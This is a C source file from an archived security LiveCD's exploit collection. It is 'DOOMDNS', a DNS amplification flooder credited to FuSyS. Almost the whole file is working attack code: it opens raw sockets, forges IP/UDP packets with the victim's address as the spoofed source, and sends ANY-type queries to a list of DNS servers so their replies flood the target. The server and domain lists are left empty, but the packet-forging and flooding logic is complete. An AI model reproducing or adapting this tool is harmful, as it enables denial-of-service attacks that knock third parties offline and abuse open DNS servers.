home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / dns / doomdns.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  171 lines

  1. /******************************************************************
  2. *                                               *
  3. * DOOMDNS    Yet another flooder with 1:x pkts ratio. This one     *
  4. *        exploits DNS simple QUERY with spoofed UDPs.          *
  5. *        Since almost every DNS is bound to answer queries     *
  6. *        from the void, and since UDP doesn't provide a          *
  7. *         fruitful authentication process cause plain TCP       *
  8. *        does, uh !? ;) here we are.                        *
  9. *                                              *
  10. *                   hints by |scacco|, code by FuSyS       *
  11. *                   http://www.s0ftpj.org                  *
  12. *                                              *
  13. ******************************************************************/
  14.  
  15. #include <stdio.h>
  16. #include <string.h>
  17. #include <unistd.h>
  18. #include <stdlib.h>
  19. #include <sys/types.h>
  20. #include <sys/socket.h>
  21. #include <arpa/inet.h>
  22. #include <arpa/nameser.h>
  23. #include <netinet/in.h>
  24. #include <netinet/ip.h>
  25. #include <netinet/udp.h>
  26. #include <netdb.h>
  27. #include <time.h>
  28.  
  29. #define IP_HEAD_BASE        20
  30. #define UDP_HEAD_BASE        8
  31.  
  32. unsigned long saddr;
  33. int sfd, loop;
  34. char *dns_def[]={/* LISTA ASSENTE */ ,NULL};
  35. char *domains[]={/* LISTA ASSENTE */ ,NULL};
  36.  
  37. struct DNS_MSG
  38.   {
  39.     HEADER head;
  40.     char query[255];
  41.   };
  42.  
  43. struct dns_pkt
  44.   {
  45.     struct iphdr ip;
  46.     struct udphdr udp;
  47.     char data[1000];
  48.   };
  49.  
  50. unsigned long nameResolve(char *hostname)
  51. {
  52.   struct in_addr addr;
  53.   struct hostent *hostEnt;
  54.  
  55.   if((addr.s_addr=inet_addr(hostname)) == -1)
  56.     {
  57.       if(!(hostEnt=gethostbyname(hostname)))
  58.         {
  59.           fprintf(stderr,"N0 SUCH H0ST:`%s`\n",hostname);
  60.           exit(0);
  61.         }
  62.       bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);
  63.     }
  64.   return addr.s_addr;
  65. }
  66.  
  67. void forge (unsigned long daddr, unsigned short src, unsigned short dst)
  68. {
  69.   struct sockaddr_in sin;
  70.   struct dns_pkt dpk;
  71.   struct DNS_MSG killer;
  72.   int shoot, len;
  73.  
  74.   memset(&killer, 0, sizeof(killer));
  75.   killer.head.id=getpid();
  76.   killer.head.rd=1;
  77.   killer.head.aa=0;
  78.   killer.head.opcode=QUERY;
  79.   killer.head.qr=0;
  80.   killer.head.qdcount=htons(1);
  81.   killer.head.ancount=htons(0);
  82.   killer.head.nscount=htons(0);
  83.   killer.head.arcount=htons(0);
  84.   strcat(killer.query, domains[--loop]);
  85.   killer.query[strlen(domains[loop])+2]=0x00FF;
  86.   killer.query[strlen(domains[loop])+4]=0x0001;
  87.  
  88.   memset(&dpk, 0, sizeof(dpk));
  89.  
  90.   dpk.udp.source=src;
  91.   dpk.udp.dest=dst;
  92.   len=(12+strlen(killer.query)+5);
  93.   dpk.udp.len=htons(UDP_HEAD_BASE+len);
  94.   memcpy(dpk.data, (void*)&killer, len);
  95.  
  96.   dpk.ip.ihl=5;
  97.   dpk.ip.version=4;
  98.   dpk.ip.tos=0;
  99.   dpk.ip.tot_len=htons(IP_HEAD_BASE+UDP_HEAD_BASE+len);
  100.   dpk.ip.frag_off=0;
  101.   dpk.ip.ttl=64;
  102.   dpk.ip.protocol=IPPROTO_UDP;
  103.   dpk.ip.saddr=saddr;
  104.   dpk.ip.daddr=daddr;
  105.  
  106.   memset(&sin, 0, sizeof(sin));
  107.   sin.sin_family=AF_INET;
  108.   sin.sin_port=dst;
  109.   sin.sin_addr.s_addr=daddr;
  110.  
  111.   shoot=sendto(sfd, &dpk,IP_HEAD_BASE+UDP_HEAD_BASE+len,
  112.                0, (struct sockaddr *)&sin, sizeof(sin));
  113.   if(shoot<0)fprintf(stderr, "SPOOF ERROR");
  114.   loop++;
  115. }
  116.  
  117. void doomzone (void)
  118. {
  119.   unsigned long daddr;
  120.   unsigned short source, dest;
  121.  
  122.   if(dns_def[loop]==NULL) loop=0;
  123.   daddr=nameResolve(dns_def[loop++]);
  124.   source=htons(1024+(rand()%2000));
  125.   dest=htons(53);
  126.   forge(daddr, source, dest);
  127. }
  128.  
  129. int main (int argc, char **argv)
  130. {
  131.   int sfdo;
  132.   unsigned int hz=100;
  133.  
  134.   if(argc<2)
  135.     {
  136.       fprintf(stderr, "Interesting .... let's flood ourselves ?!\n");
  137.       fprintf(stderr, "Use: %s target [n]\n", argv[0]);
  138.       exit(0);
  139.     }
  140.  
  141.   if(argv[2]) hz=atoi(argv[2]);
  142.   saddr=nameResolve(argv[1]);
  143.  
  144.   srand(time(NULL));
  145.  
  146.   if((sfd=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0)
  147.     {
  148.       fprintf(stderr, "\nSOCK_RAW Died\n");
  149.       exit(2);
  150.     }
  151.   sfdo=1;
  152.   if(setsockopt(sfd, IPPROTO_IP, IP_HDRINCL, &sfdo, sizeof(sfdo))<0)
  153.     {
  154.       fprintf(stderr, "\nIP_HDRINCL Died\n");
  155.       exit(3);
  156.     }
  157.  
  158.   printf("\n\033[1;32mD00M DNS\033[0m");
  159.   printf("\n\033[1;34mDNS Flooder by FuSyS\033[0m");
  160.   printf("\n\033[1;34minithints by |scacco|\033[0m\n\n");
  161.  
  162.   loop=0;
  163.   while(hz--)
  164.     {
  165.       doomzone();
  166.       printf("\033[1;34m.\033[0m");
  167.     }
  168.   printf("\n\n");
  169.   return(0);
  170. }
  171. /*                    www.hack.co.za              [2000]*/